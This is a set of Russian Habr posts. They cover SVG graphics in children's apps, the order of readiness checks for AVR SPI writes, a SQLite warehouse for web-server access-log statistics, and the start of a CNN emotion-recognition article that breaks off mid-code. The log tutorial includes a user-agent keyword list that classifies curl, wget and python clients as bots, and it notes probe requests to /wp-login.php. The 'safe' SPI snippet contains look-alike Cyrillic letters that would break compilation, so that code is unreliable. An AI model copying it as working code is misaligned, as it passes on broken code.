* Картинки масштабируются только пропорционально.
* Не поддерживается прозрачность.
* Графику нужно упрощать — чем больше векторных элементов, тем больше весит файл.Нежелательно использовать тени и свечения, так как это в разы увеличивает размер SVG-файлов.
В результате экспериментов с SVG родилось приложение для детей “Учим формы и фигуры”. Ознакомится с приложением можно в Google Play:
[play.google.com/store/apps/details?id=com.whisperarts.kids.forms](https://play.google.com/store/apps/details?id=com.whisperarts.kids.forms)
Количество получившихся изображений:
* PNG — 3 (сплэшскрин и 2 фона для меню);
* SVG-элементов — 97;
* Размер приложения 3,5 Мб.
В сравнении с почти похожим по функционалу нашим приложением “Учим цвета” (размер которого 8 Мб) выигрыш более 50% налицо.
Для себя мы приняли решение использовать SVG-изображения в наших приложениях, так как это существенно ускоряет процесс разработки и адаптации картинок под разные разрешения экранов, а также существенно уменьшает вес приложения.
Надеемся, опыт, которым мы поделились в статье, поможет вам также пересмотреть процесс подготовки изображений для приложений и задуматься над использованием формата SVG.
PS: Если вы уже использовали SVG в своих проектах или по другому обходили проблемы, с которыми столкнулись мы при использовании SVG — пишите в комментариях. Будем рады услышать Ваш опыт. | https://habr.com/ru/post/166093/ | null | ru | null |
# К вопросу о порядке операторов
> Жизнь настолько коротка, что ее едва хватает на то, чтобы совершить необходимое количество ошибок, а уж повторять их — недопустимая роскошь.
В данном посте речь пойдет о том, чтобы не повторять чужих ошибок, что тоже является непроизводительной растратой столь ценного ресурса, как время. И вроде бы ошибка не столь фатальна и есть масса примеров, где она исключена и можно было бы давно научиться ее избегать, но почему то с упорством, достойным лучшего применения, она встречается вновь и вновь в исходных кодах программ для МК (может быть и для больших систем тоже, но я ими не занимаюсь), причем авторы данных программ не то чтоб новички во встроенном программировании, но тем не менее мы видим то, что видим. Искренне надеюсь, что после того, как данный пост будет Вами прочитан (при попытке ввести сочетание «после прочтения» в строго определенном месте текста у меня 6 раз падал Word To Go — впервые за 2 года использования, так что я смирился и написал чуть по другому — это к вопросу об ошибках, хотя данное поведение вряд ли проистекает именно из за той, о которой я пишу, иначе это было бы особенно пикантно). Вы навсегда поймете недопустимость подобной ошибочной конструкции и не наступите именно на эти грабли, ведь вокруг лежит такое количество других, ожидающих своей очереди.
Сформулируем задачу – нам необходимо взаимодействовать с некоторым ресурсом (аппаратным, но не будем ограничивать себя), который в силу внутренних особенностей не всегда готов к работе (требует времени для выполнения текущей операции, но опять таки предпочтем расширенную формулировку). Для того, чтобы определить готовность ресурса, существует некая процедура проверки состояния и собственно взаимодействие следует осуществлять при достижении определенного значения этого состояния. Если перейти на язык конкретики, то в примере, который мне попался на глаза, рассматривался процесс передачи данных по интерфейсу SPI в МК фирмы ATMEL (ну в общем, опять речь об Ардуино, дальше можно не читать).
Так вот, задача состоит в организации подобного взаимодействия с учетом вышеуказанных особенностей, нам потребуется проверка готовности и инициализация операции и вопрос в том, в каком порядке их применять. Поскольку мы имеем только две сущности, расположить их можно только двумя способами – первая впереди либо вторая. Если перевести на язык конкретной задачи, вопрос состоит в том, следует ли проверять готовность устройства до передачи, ожидая таковую, либо можно сначала осуществить передачу, а потом дождаться ее завершения.
Давайте посмотрим на код, вот первый (ошибочный) вариант, взятый из рассматриваемой реализации:
```
static inline void writeSPI(const byte b) {
SPDR = b;
asm ("nop");
while ( ! (SPSR & bit(SPIF)) );
};
```
И поскольку он (кроме третьей строки) совпадает с рекомендованным фирмой изготовителем в описании микросхемы и примерах применений, то будем критиковать далее решения от фирмы ATMEL. А вот и второй (правильный) вариант, предлагаемый как альтернатива в тех же обозначениях:
```
static inline void writeSPI(const byte b) {
while ( (SPSR & bit(SPIF)) == 0 );
SPDR = b;
}
```
Кстати не могу не отметить правильное применение ключевого слова static и const в сигнатуре функции, inline рассмотрим как нейтральное решение.
В принципе, можно было бы и завершить на этом обсуждение, просто применяйте правильный вариант и все, но, поскольку неправильный встречается снова и снова, придется доказать, что второе решение лучше первого как в данном конкретном случае, так и в общем. Для человека, который получал образование в 80е годы прошлого века совершенно естественно, что коды 105737 177564 100375 должны быть расположены перед кодами 112737 000060 177566, именно так и надо делать и это даже не обсуждается (привет, коллеги), а для всех остальных продолжим.
**ИНВАРИАНТЫ**
Первый вариант требует, чтобы 1)при входе в функцию устройство было готово к обслуживанию, более того, подразумевается, 2)что однажды сформированная готовность не может быть отменена иначе, чем инициализацией операции. Если второе утверждение для данного конкретного устройства верно, то первое отнюдь не гарантируется при начале его использования. Второй вариант никаких ограничений не накладывает (вернее накладывает, но они исчезающе малы по сравнению с первым), что несомненно является плюсом, поскольку расширяет область применения. Конечно, они (здесь и далее по тексту «они» — это те кто использует первый вариант, в частности программисты фирмы ATMEL) скажут, что в данном конкретном случае все инварианты выполняются и будут правы, но мы ведь предпочтем универсальный вариант – 0:1 в нашу пользу.
**ПОСЛЕДОВАТЕЛЬНОСТЬ**
В любой процедуре использования ресурса можно выделить три фазы – начало работы, повторения, конец работы. Первый вариант неплох в первой фазе (если инварианты выполнены), хорош во второй, но в третьей выполняет излишнюю работу – дожидается готовности ресурса, который нам больше не понадобится. Второй вариант неплох в первой фазе (выполняет только немного лишней работы в случае выполнения инварианта), хорош во второй, и хорош в третьей – вовремя прекращает работу. Мы понимаем, что такой подход противоречит «принципу бойскаута», которого придерживается первый вариант, но в реальной жизни скауты не всегда являются примером для подражания. Конечно, они скажут, что лишней работы на так много и она в пользу ближнего своего, и будут правы, но все таки – 0:1 в нашу пользу.
**СОВМЕСТИМОСТЬ**
Первый вариант будет иметь проблемы при взаимодействии со вторым, второй будет прекрасно себя чувствовать, даже если кто то придерживается первой стратегии. Конечно, они скажут, что не следует смешивать стратегии, и будут правы, но мы в реальной жизни, а тут все бывает -0:1 в нашу пользу.
**БЕЗОПАСНОСТЬ**
Вот с этого момента поподробнее. Допустим, у нас есть конкуренция за ресурс, тогда мы должны рассмотреть интервал уязвимости – чем он короче, тем в большей безопасности мы находимся. В первом варианте это интервал от начала операции до получения готовности устройства, во втором – от получения готовности устройства до начала операции, и это интервал в разу (а то на порядки) меньше первого. Соответственно, второй вариант почти безопасен, но как говорят, нельзя быть немножко беременной, будем улучшать ситуацию.
Естественной защитой ресурса в рассматриваемом случае является использование критической секции в той или иной форме и что мы видим при такой реализации (я придерживаюсь мнения, что чем короче критическая секция, тем лучше, у Вас может быть другое). Первый вариант:
```
static inline void writeSPI(const byte b) {
CriticalStart();
SPDR = b;
while ( ! (SPSR & bit(SPIF)) );
CriticalStop();
};
```
И мы сделали критическую секцию значительного времени. Реализацию в аналогичном стиле для второго варианта мы даже не будем рассматривать, а сразу укажем правильную защиту:
```
static inline void writeSPI(const byte b) {
bооlean IsOk = False;
while (IsOk == False) {
if ( (SPSR & bit(SPIF)) != 0 ) {
СriticalStart();
If ( (SPSR & bit (SPIF)) != 0 ) {
SPDR = b;
IsOk=True;
};
CriticalStop();
};
};
}
```
Да, это намного сложнее, да, необходимы две проверки и нам следует создать макрос или inline функцию, следуя принципу DRY (я этого не сделал специально, чтобы подчеркнуть такую необходимость), да, встраиваемость функции тут под очень большим вопросом, но зато коротенькая (по времени) критическая секция, которая в 99.999% случаев будет выполняться за одну попытку, но останется безопасной и в 0.001% оставшихся.
Отметим еще одно важное обстоятельство — в общем случае, если у нас есть атомарная операция проверки и замены, либо обмена с флагом, то мы вообще во втором варианте можем обойтись без критической секции (в рассматриваемом конкретном варианте такой операции нет), а вот для первого варианта такой операции не существует в принципе. Конечно, они скажут, что совместное использование ресурса редко применяется в МК, что реализовывать такой вариант следует через обработчик, и будут правы, но в реальной жизни бывает все и лишняя безопасность наверное бывает, но крайне редко встречается – 0:1 в нашу пользу.
**ЭФФЕКТИВНОСТЬ. Last but Not Least**
В принципе, этого пункта было бы достаточно, но тогда пост был бы намного короче. Первый вариант по затратам времени можно описать так – инициируем операцию и ждем пока она выполнится (при этом ничего делать не можем), если необходимо, то проводим какие то дополнительные операции (готовим очередной символ к передаче) и повторяем цикл. Второй вариант – ждем, пока предыдущая операция закончится, инициируем очередную операцию и выходим из функции, то есть можем проводить дополнительные операции, при этом выполнение операции на ресурсе идет параллельно с ними, при необходимости повторяем цикл. Очевидно, что мы выигрываем минимальное из времени дополнительных операций либо времени выполнения на ресурсе, причем ни одно ни второе нулем не являются. В конкретной ситуации выигрыш может быть весьма значителен и увеличивать быстродействие системы до двух раз (в случае совпадения двух указанных времен). Конечно, они скажут, что предельно возможное быстродействие не всегда требуется, что для его достижения нужны специальные меры, что выигрыш не всегда будет столь значителен и будут правы, но тем не менее 0:1 в нашу пользу.
**ПОНЯТНОСТЬ**
Если у кого то есть аргументы в пользу одного из вариантов, прошу в комментарии, у меня их нет — 0:0 (за исключением безопасной реализации второго варианта, которая очевидно сложнее всех остальных).
**ВЫВОДЫ**
Второй способ обеспечивает более широкое применение, экономнее в работе, лучше совместим, более безопасен, однозначно эффективнее и не менее понятен, чем первый.
Общий счет 0:5 в нашу пользу, то есть второй способ лучше по всем параметрам.
Если кто-нибудь может привести аргументы в пользу первого варианта, прошу в комментарии, я ничего придумать не могу. На единственный вопрос – почему фирма выбрала именно этот способ – есть ответ в стиле известного фильма «Может, это потому, что ты …», который, конечно, «многое объясняет», но все-таки не представляется мне правильным, скорее подходит другой ответ из того же фильма «Потому что». | https://habr.com/ru/post/310598/ | null | ru | null |
# Статистика сайта и своё маленькое хранилище
Утилита Webalizer и инструмент Google Analytics помогали мне много лет получать представление о том, что происходит на веб сайтах. Сейчас я понимаю, что они дают очень мало полезной информации. Имея доступ к своему файлу access.log, разобраться со статистикой очень просто и для реализации достаточно элементарных инструментов, таких как sqlite, html, языка sql и любого скриптового языка программирования.
Источником данных для Webalizer является файл access.log сервера. Так выглядят его столбики и цифры, из которых понятен лишь общий объём трафика:
Такие инструменты, как Google Analytics собирают данные с загруженной страницы самостоятельно. Отображают нам пару диаграмм и линий, на основе которых часто сложно сделать правильные выводы. Может быть, нужно было приложить больше усилий? Не знаю.
Итак, что мне хотелось увидеть в статистике посещений сайта?
#### Трафик пользователей и ботов
Часто трафик сайтов имеет ограничение и необоходимо видеть, сколько полезного трафика используется. Например, так:
**SQL запрос отчёта**
```
SELECT
1 as 'StackedArea: Traffic generated by Users and Bots',
strftime('%d.%m', datetime(FCT.EVENT_DT, 'unixepoch')) AS 'Day',
SUM(CASE WHEN USG.AGENT_BOT!='n.a.' THEN FCT.BYTES ELSE 0 END)/1000 AS 'Bots, KB',
SUM(CASE WHEN USG.AGENT_BOT='n.a.' THEN FCT.BYTES ELSE 0 END)/1000 AS 'Users, KB'
FROM
FCT_ACCESS_USER_AGENT_DD FCT,
DIM_USER_AGENT USG
WHERE FCT.DIM_USER_AGENT_ID=USG.DIM_USER_AGENT_ID
AND datetime(FCT.EVENT_DT, 'unixepoch') >= date('now', '-14 day')
GROUP BY strftime('%d.%m', datetime(FCT.EVENT_DT, 'unixepoch'))
ORDER BY FCT.EVENT_DT
```
Из графика видна постоянная активность ботов. Интересно было бы детально изучить наиболее активных представителей.
#### Назойливые боты
Классифицируем ботов на основе информации пользовательского агента. Дополнительная статистика о дневном трафике, количестве успешных и безуспешных запросов даёт хорошее представление об активности ботов.
**SQL запрос отчёта**
```
SELECT
1 AS 'Table: Annoying Bots',
MAX(USG.AGENT_BOT) AS 'Bot',
ROUND(SUM(FCT.BYTES)/1000 / 14.0, 1) AS 'KB per Day',
ROUND(SUM(FCT.IP_CNT) / 14.0, 1) AS 'IPs per Day',
ROUND(SUM(CASE WHEN STS.STATUS_GROUP IN ('Client Error', 'Server Error') THEN FCT.REQUEST_CNT / 14.0 ELSE 0 END), 1) AS 'Error Requests per Day',
ROUND(SUM(CASE WHEN STS.STATUS_GROUP IN ('Successful', 'Redirection') THEN FCT.REQUEST_CNT / 14.0 ELSE 0 END), 1) AS 'Success Requests per Day',
USG.USER_AGENT_NK AS 'Agent'
FROM FCT_ACCESS_USER_AGENT_DD FCT,
DIM_USER_AGENT USG,
DIM_HTTP_STATUS STS
WHERE FCT.DIM_USER_AGENT_ID = USG.DIM_USER_AGENT_ID
AND FCT.DIM_HTTP_STATUS_ID = STS.DIM_HTTP_STATUS_ID
AND USG.AGENT_BOT != 'n.a.'
AND datetime(FCT.EVENT_DT, 'unixepoch') >= date('now', '-14 day')
GROUP BY USG.USER_AGENT_NK
ORDER BY 3 DESC
LIMIT 10
```
В данном случае результатом анализа стало решение об ограничении доступа к сайту путём добавления в файл robots.txt
`User-agent: AhrefsBot
Disallow: /
User-agent: dotbot
Disallow: /
User-agent: bingbot
Crawl-delay: 5`
Первые два бота исчезли из таблицы, а роботы MS подвинулись с первых строчек вниз.
#### День и время наибольшей активности
В трафике видны подъёмы. Чтобы детально их исследовать, необходимо выделить время их возникновения, при этом не обязательно отображать все часы и дни измерения времени. Так будет проще найти отдельные запросы в лог файле при необходимости детального анализа.
**SQL запрос отчёта**
```
SELECT
1 AS 'Line: Day and Hour of Hits from Users and Bots',
strftime('%d.%m-%H', datetime(EVENT_DT, 'unixepoch')) AS 'Date Time',
HIB AS 'Bots, Hits',
HIU AS 'Users, Hits'
FROM (
SELECT
EVENT_DT,
SUM(CASE WHEN AGENT_BOT!='n.a.' THEN LINE_CNT ELSE 0 END) AS HIB,
SUM(CASE WHEN AGENT_BOT='n.a.' THEN LINE_CNT ELSE 0 END) AS HIU
FROM FCT_ACCESS_REQUEST_REF_HH
WHERE datetime(EVENT_DT, 'unixepoch') >= date('now', '-14 day')
GROUP BY EVENT_DT
ORDER BY SUM(LINE_CNT) DESC
LIMIT 10
) ORDER BY EVENT_DT
```
Наблюдаем самые активные часы 11, 14 и 20 первого дня на графике. А вот на следующий день в 13 часов активничали боты.
#### Средняя дневная активность пользователей по неделям
С активностью и трафиком немного разобрались. Следующим вопросом была активность самих пользователей. Для такой статистики желательны большие периоды агрегации, например, неделя.
**SQL запрос отчёта**
```
SELECT
1 as 'Line: Average Daily User Activity by Week',
strftime('%W week', datetime(FCT.EVENT_DT, 'unixepoch')) AS 'Week',
ROUND(1.0*SUM(FCT.PAGE_CNT)/SUM(FCT.IP_CNT),1) AS 'Pages per IP per Day',
ROUND(1.0*SUM(FCT.FILE_CNT)/SUM(FCT.IP_CNT),1) AS 'Files per IP per Day'
FROM
FCT_ACCESS_USER_AGENT_DD FCT,
DIM_USER_AGENT USG,
DIM_HTTP_STATUS HST
WHERE FCT.DIM_USER_AGENT_ID=USG.DIM_USER_AGENT_ID
AND FCT.DIM_HTTP_STATUS_ID = HST.DIM_HTTP_STATUS_ID
AND USG.AGENT_BOT='n.a.' /* users only */
AND HST.STATUS_GROUP IN ('Successful') /* good pages */
AND datetime(FCT.EVENT_DT, 'unixepoch') > date('now', '-3 month')
GROUP BY strftime('%W week', datetime(FCT.EVENT_DT, 'unixepoch'))
ORDER BY FCT.EVENT_DT
```
Статистика за неделю показывает, что в среднем один пользователь открывает 1,6 страниц в день. Количество запрашиваемых файлов на одного пользователя в данном случае зависит от добавления новых файлов на сайт.
#### Все запросы и их статусы
Webalizer всегда показывал конкретные коды страниц и хотелось всегда видеть просто количество успешных запросов и ошибок.
**SQL запрос отчёта**
```
SELECT
1 as 'Line: All Requests by Status',
strftime('%d.%m', datetime(FCT.EVENT_DT, 'unixepoch')) AS 'Day',
SUM(CASE WHEN STS.STATUS_GROUP='Successful' THEN FCT.REQUEST_CNT ELSE 0 END) AS 'Success',
SUM(CASE WHEN STS.STATUS_GROUP='Redirection' THEN FCT.REQUEST_CNT ELSE 0 END) AS 'Redirect',
SUM(CASE WHEN STS.STATUS_GROUP='Client Error' THEN FCT.REQUEST_CNT ELSE 0 END) AS 'Customer Error',
SUM(CASE WHEN STS.STATUS_GROUP='Server Error' THEN FCT.REQUEST_CNT ELSE 0 END) AS 'Server Error'
FROM
FCT_ACCESS_USER_AGENT_DD FCT,
DIM_HTTP_STATUS STS
WHERE FCT.DIM_HTTP_STATUS_ID=STS.DIM_HTTP_STATUS_ID
AND datetime(FCT.EVENT_DT, 'unixepoch') >= date('now', '-14 day')
GROUP BY strftime('%d.%m', datetime(FCT.EVENT_DT, 'unixepoch'))
ORDER BY FCT.EVENT_DT
```
Отчёт отображает запросы, а не клики (хиты), в отличие от LINE\_CNT метрика REQUEST\_CNT считается как COUNT(DISTINCT STG.REQUEST\_NK). Цель — показать эффективные события, например, боты MS сотни раз в день опрашивают файл robots.txt и, в данном случае, такие опросы будут посчитаны один раз. Это позволяет сгладить скачки на графике.
Из графика можно увидеть много ошибок — это несуществующие страницы. Результатом анализа стало добавление перенаправлений с удалённых страниц.
#### Ошибочные запросы
Для детального рассмотрения запросов можно вывести детальную статистику.
**SQL запрос отчёта**
```
SELECT
1 AS 'Table: Top Error Requests',
REQ.REQUEST_NK AS 'Request',
'Error' AS 'Request Status',
ROUND(SUM(FCT.LINE_CNT) / 14.0, 1) AS 'Hits per Day',
ROUND(SUM(FCT.IP_CNT) / 14.0, 1) AS 'IPs per Day',
ROUND(SUM(FCT.BYTES)/1000 / 14.0, 1) AS 'KB per Day'
FROM
FCT_ACCESS_REQUEST_REF_HH FCT,
DIM_REQUEST_V_ACT REQ
WHERE FCT.DIM_REQUEST_ID = REQ.DIM_REQUEST_ID
AND FCT.STATUS_GROUP IN ('Client Error', 'Server Error')
AND datetime(FCT.EVENT_DT, 'unixepoch') >= date('now', '-14 day')
GROUP BY REQ.REQUEST_NK
ORDER BY 4 DESC
LIMIT 20
```
В этом списке будут находиться и все прозвоны, например, запрос к /wp-login.php Путём корректировки правил переписывания запросов сервером можно скорректировать реакцию сервера на подобные запросы и отправлять их на стартовую страницу.
Итак, несколько простых отчётов на основе файла лога сервера дают достаточно полную картину того, что происходит на сайте.
#### Как получить информацию?
Базы данных sqlite вполне достаточно. Создадим таблицы: вспомогательную для логирования ETL процессов.
Стейдж таблицы, куда будем писать лог файлы средствами PHP. Две таблицы агрегатов. Создадим дневную таблицу со статистикой по пользовательским агентам и статусам запросов. Почасовую со статистикой по запросам, группам статусов и агентов. Четыре таблицы соответствующих измерений.
В результате получилась следующая реляционная модель:
**Модель данных**
Скрипт для создания объекта в базе данных sqlite:
**DDL создание объекта**
```
DROP TABLE IF EXISTS DIM_USER_AGENT;
CREATE TABLE DIM_USER_AGENT (
DIM_USER_AGENT_ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
USER_AGENT_NK TEXT NOT NULL DEFAULT 'n.a.',
AGENT_OS TEXT NOT NULL DEFAULT 'n.a.',
AGENT_ENGINE TEXT NOT NULL DEFAULT 'n.a.',
AGENT_DEVICE TEXT NOT NULL DEFAULT 'n.a.',
AGENT_BOT TEXT NOT NULL DEFAULT 'n.a.',
UPDATE_DT INTEGER NOT NULL DEFAULT 0,
UNIQUE (USER_AGENT_NK)
);
INSERT INTO DIM_USER_AGENT (DIM_USER_AGENT_ID) VALUES (-1);
```
#### Стейдж
В случае с access.log файлом необходимо прочитать, распарсить и записать в базу все запросы. Это можно сделать либо напрямую средствами скриптового языка, либо используя средства sqlite.
Формат лог файла:
```
//67.221.59.195 - - [28/Dec/2012:01:47:47 +0100] "GET /files/default.css HTTP/1.1" 200 1512 "https://project.edu/" "Mozilla/4.0"
//host ident auth time method request_nk protocol status bytes ref browser
$log_pattern = '/^([^ ]+) ([^ ]+) ([^ ]+) (\[[^\]]+\]) "(.*) (.*) (.*)" ([0-9\-]+) ([0-9\-]+) "(.*)" "(.*)"$/';
```
#### Пропагация ключей
Когда сырые данные находятся в базе, нужно записать в таблицы измерений ключи, которых там нет. Тогда будет возможным построение ссылки на измерения. Например, в таблице DIM\_REFERRER ключом является комбинация трёх полей.
**SQL запрос пропагации ключей**
```
/* Propagate the referrer from access log */
INSERT INTO DIM_REFERRER (HOST_NK, PATH_NK, QUERY_NK, UPDATE_DT)
SELECT
CLS.HOST_NK,
CLS.PATH_NK,
CLS.QUERY_NK,
STRFTIME('%s','now') AS UPDATE_DT
FROM (
SELECT DISTINCT
REFERRER_HOST AS HOST_NK,
REFERRER_PATH AS PATH_NK,
CASE WHEN INSTR(REFERRER_QUERY,'&sid')>0 THEN SUBSTR(REFERRER_QUERY, 1, INSTR(REFERRER_QUERY,'&sid')-1) /* отрезаем sid - специфика цмс */
ELSE REFERRER_QUERY END AS QUERY_NK
FROM STG_ACCESS_LOG
) CLS
LEFT OUTER JOIN DIM_REFERRER TRG
ON (CLS.HOST_NK = TRG.HOST_NK AND CLS.PATH_NK = TRG.PATH_NK AND CLS.QUERY_NK = TRG.QUERY_NK)
WHERE TRG.DIM_REFERRER_ID IS NULL
```
Пропагация в таблицу пользовательских агентов может содержать логику ботов, например, отрывок sql:
```
CASE
WHEN INSTR(LOWER(CLS.BROWSER),'yandex.com')>0
THEN 'yandex'
WHEN INSTR(LOWER(CLS.BROWSER),'googlebot')>0
THEN 'google'
WHEN INSTR(LOWER(CLS.BROWSER),'bingbot')>0
THEN 'microsoft'
WHEN INSTR(LOWER(CLS.BROWSER),'ahrefsbot')>0
THEN 'ahrefs'
WHEN INSTR(LOWER(CLS.BROWSER),'mj12bot')>0
THEN 'majestic-12'
WHEN INSTR(LOWER(CLS.BROWSER),'compatible')>0 OR INSTR(LOWER(CLS.BROWSER),'http')>0
OR INSTR(LOWER(CLS.BROWSER),'libwww')>0 OR INSTR(LOWER(CLS.BROWSER),'spider')>0
OR INSTR(LOWER(CLS.BROWSER),'java')>0 OR INSTR(LOWER(CLS.BROWSER),'python')>0
OR INSTR(LOWER(CLS.BROWSER),'robot')>0 OR INSTR(LOWER(CLS.BROWSER),'curl')>0
OR INSTR(LOWER(CLS.BROWSER),'wget')>0
THEN 'other'
ELSE 'n.a.' END AS AGENT_BOT
```
#### Таблицы агрегатов
В последнюю очередь будем грузить таблицы агрегатов, например, дневная таблица может загружаться следующим образом:
**SQL запрос загрузки агрегата**
```
/* Load fact from access log */
INSERT INTO FCT_ACCESS_USER_AGENT_DD (EVENT_DT, DIM_USER_AGENT_ID, DIM_HTTP_STATUS_ID, PAGE_CNT, FILE_CNT, REQUEST_CNT, LINE_CNT, IP_CNT, BYTES)
WITH STG AS (
SELECT
STRFTIME( '%s', SUBSTR(TIME_NK,9,4) || '-' ||
CASE SUBSTR(TIME_NK,5,3)
WHEN 'Jan' THEN '01' WHEN 'Feb' THEN '02' WHEN 'Mar' THEN '03' WHEN 'Apr' THEN '04' WHEN 'May' THEN '05' WHEN 'Jun' THEN '06'
WHEN 'Jul' THEN '07' WHEN 'Aug' THEN '08' WHEN 'Sep' THEN '09' WHEN 'Oct' THEN '10' WHEN 'Nov' THEN '11'
ELSE '12' END || '-' || SUBSTR(TIME_NK,2,2) || ' 00:00:00' ) AS EVENT_DT,
BROWSER AS USER_AGENT_NK,
REQUEST_NK,
IP_NR,
STATUS,
LINE_NK,
BYTES
FROM STG_ACCESS_LOG
)
SELECT
CAST(STG.EVENT_DT AS INTEGER) AS EVENT_DT,
USG.DIM_USER_AGENT_ID,
HST.DIM_HTTP_STATUS_ID,
COUNT(DISTINCT (CASE WHEN INSTR(STG.REQUEST_NK,'.')=0 THEN STG.REQUEST_NK END) ) AS PAGE_CNT,
COUNT(DISTINCT (CASE WHEN INSTR(STG.REQUEST_NK,'.')>0 THEN STG.REQUEST_NK END) ) AS FILE_CNT,
COUNT(DISTINCT STG.REQUEST_NK) AS REQUEST_CNT,
COUNT(DISTINCT STG.LINE_NK) AS LINE_CNT,
COUNT(DISTINCT STG.IP_NR) AS IP_CNT,
SUM(BYTES) AS BYTES
FROM STG,
DIM_HTTP_STATUS HST,
DIM_USER_AGENT USG
WHERE STG.STATUS = HST.STATUS_NK
AND STG.USER_AGENT_NK = USG.USER_AGENT_NK
AND CAST(STG.EVENT_DT AS INTEGER) > $param_epoch_from /* load epoch date */
AND CAST(STG.EVENT_DT AS INTEGER) < strftime('%s', date('now', 'start of day'))
GROUP BY STG.EVENT_DT, HST.DIM_HTTP_STATUS_ID, USG.DIM_USER_AGENT_ID
```
База данных sqlite позволяет писать сложные запросы. WITH содержит подготовку данных и ключей. Основной запрос собирает все ссылки на измерения.
Условие не даст загрузить ещё раз историю: CAST(STG.EVENT\_DT AS INTEGER) > $param\_epoch\_from, где параметр является результатом запроса
'SELECT COALESCE(MAX(EVENT\_DT), \'3600\') AS LAST\_EVENT\_EPOCH FROM FCT\_ACCESS\_USER\_AGENT\_DD'
Условие загрузит только полный день: CAST(STG.EVENT\_DT AS INTEGER) < strftime('%s', date('now', 'start of day'))
Подсчёт страниц или файлов осуществляется примитивным способом, поиском точки.
#### Отчёты
В сложных системах визуализации есть возможность создавать мета-модель на основе объектов базы данных, динамически управлять фильтрами и правилами агрегации. В конечном счёте, все приличные инструменты генерируют SQL запрос.
В данном примере мы создадим уже готовые SQL запросы и сохраним их в виде вью в базе данных — это и есть отчёты.
#### Визуализация
В качестве инструмента визуализации использовался Bluff: Beautiful graphs in JavaScript
Для этого потребовалось с помощью PHP пробежаться по всем репортам и сгенерировать html файл с таблицами.
```
$sqls = array(
'SELECT * FROM RPT_ACCESS_USER_VS_BOT',
'SELECT * FROM RPT_ACCESS_ANNOYING_BOT',
'SELECT * FROM RPT_ACCESS_TOP_HOUR_HIT',
'SELECT * FROM RPT_ACCESS_USER_ACTIVE',
'SELECT * FROM RPT_ACCESS_REQUEST_STATUS',
'SELECT * FROM RPT_ACCESS_TOP_REQUEST_PAGE',
'SELECT * FROM RPT_ACCESS_TOP_REQUEST_REFERRER',
'SELECT * FROM RPT_ACCESS_NEW_REQUEST',
'SELECT * FROM RPT_ACCESS_TOP_REQUEST_SUCCESS',
'SELECT * FROM RPT_ACCESS_TOP_REQUEST_ERROR'
);
```
Инструмент просто визуализирует таблицы результатов.
#### Вывод
На примере веб анализа статья описывает механизмы, необходимые для построения хранилищ данных. Как видно из результатов, для глубокого анализа и визуализации данных достаточно самых простых инструментов.
В дальнейшем, на примере этого хранилища, попробуем реализовать такие структуры, как [медленно изменяющиеся измерения](https://habr.com/ru/post/463493/), мастер-данные, уровни агрегации и интеграцию данных из разных источников.
Также, подробнее рассмотрим простейший [инструмент управления ETL процессами](https://habr.com/ru/post/465637/) на основе одной таблицы.
Вернемся к теме измерения качества данных и автоматизации этого процесса.
Изучим проблемы технического окружения и обслуживания хранилищ данных, для чего реализуем сервер хранилища с минимальными ресурсами, например, на базе Raspberry Pi. | https://habr.com/ru/post/462337/ | null | ru | null |
# Распознавание эмоций с помощью сверточной нейронной сети
Распознавание эмоций всегда было захватывающей задачей для ученых. В последнее время я работаю над экспериментальным SER-проектом (Speech Emotion Recognition), чтобы понять потенциал этой технологии – для этого я отобрал наиболее популярные репозитории на [Github](https://github.com/MITESHPUTHRANNEU/Speech-Emotion-Analyzer?source=post_page---------------------------) и сделал их основой моего проекта.
Прежде чем мы начнем разбираться в проекте, неплохо будет вспомнить, какие узкие места есть у SER.
Главные препятствия
-------------------
* эмоции субъективны, даже люди интерпретируют их по-разному. Трудно определить само понятие «эмоции»;
* комментировать аудио – трудно. Должны ли мы как-то помечать каждое отдельное слово, предложение или все общение целиком? Набор каких именно эмоций использовать при распознавании?
* собирать данные тоже непросто. Много аудиоданных может быть собрано из фильмов и новостей. Однако оба источника «необъективны», потому что новостей обязаны быть нейтральными, а эмоции актеров – сыгранные. Трудно найти «объективный» источник аудиоданных.
* разметка данных требует больших человеческих и временных ресурсов. В отличие от рисования рамок на изображениях, здесь требуется специально обученный персонал, чтобы прослушивать целые аудиозаписи, анализировать их и снабжать комментариями. А затем эти комментарии должны быть оценены **множеством** других людей, потому что оценки субъективны.
Описание проекта
----------------
Использование сверточной нейронной сети для распознавания эмоций в аудиозаписях. И да, владелец репозитория не ссылался ни на какие источники.
Описание данных
---------------
Есть два датасета, которые использовались в репозиториях RAVDESS и SAVEE, я только лишь адаптировал RAVDESS в своей модели. В контекста RAVDESS есть два типа данных: речь (speech) и песня (song).
Датасет [RAVDESS (The Ryerson Audio-Visual Database of Emotional Speech and Song)](https://zenodo.org/record/1188976?source=post_page---------------------------#.XN0fwnUzZhE):
* 12 актеров и 12 актрис записали свою речь и песни в своем исполнении;
* у актера #18 нет записанных песен;
* эмоции Disgust (отвращение), Neutral (нейтральная) и Surprises (удивленние) отсутствуют в «песенных» данных.
Разбивка по эмоциям:
Диаграмма распределения эмоций:
### Извлечение признаков
Когда мы работаем с задачами распознавания речи, [мел-кепстральные коэффициенты (MFCCs)](https://en.wikipedia.org/wiki/Mel-frequency_cepstrum) – это передовая технология, несмотря на то, что она появилась в 80-х.
Цитата из [туториала по MFCC](http://practicalcryptography.com/miscellaneous/machine-learning/guide-mel-frequency-cepstral-coefficients-mfccs/?source=post_page---------------------------):
> Эта форма определяет, каков звук на выходе. Если мы можем точно обозначить форму, она даст нам точное представление прозвучавшей [фонемы](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D0%BD%D0%B5%D0%BC%D0%B0). Форма [речевого тракта](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%87%D0%B5%D0%B2%D0%BE%D0%B9_%D1%82%D1%80%D0%B0%D0%BA%D1%82) проявляет себя в огибающей короткого спектра, и работы MFCC – точно отобразить эту огибающую.
Форма сигнала
Спектрограмма
Мы используем MFCC как входной признак. Если вам интересно разобраться подробнее, что такое MFCC, то этот [туториал](http://practicalcryptography.com/miscellaneous/machine-learning/guide-mel-frequency-cepstral-coefficients-mfccs/?source=post_page---------------------------) – для вас. Загрузку данных и их конвертацию в формат MFCC можно легко сделать с помощью Python-пакета librosa.
### Архитектура модели по умолчанию
Автор разработал CNN-модель с помощь пакет Keras, создав 7 слоев – шесть Con1D слоев и один слой плотности (Dense).
```
model = Sequential()
model.add(Conv1D(256, 5,padding='same', input_shape=(216,1))) #1
model.add(Activation('relu'))
model.add(Conv1D(128, 5,padding='same')) #2
model.add(Activation('relu'))
model.add(Dropout(0.1))
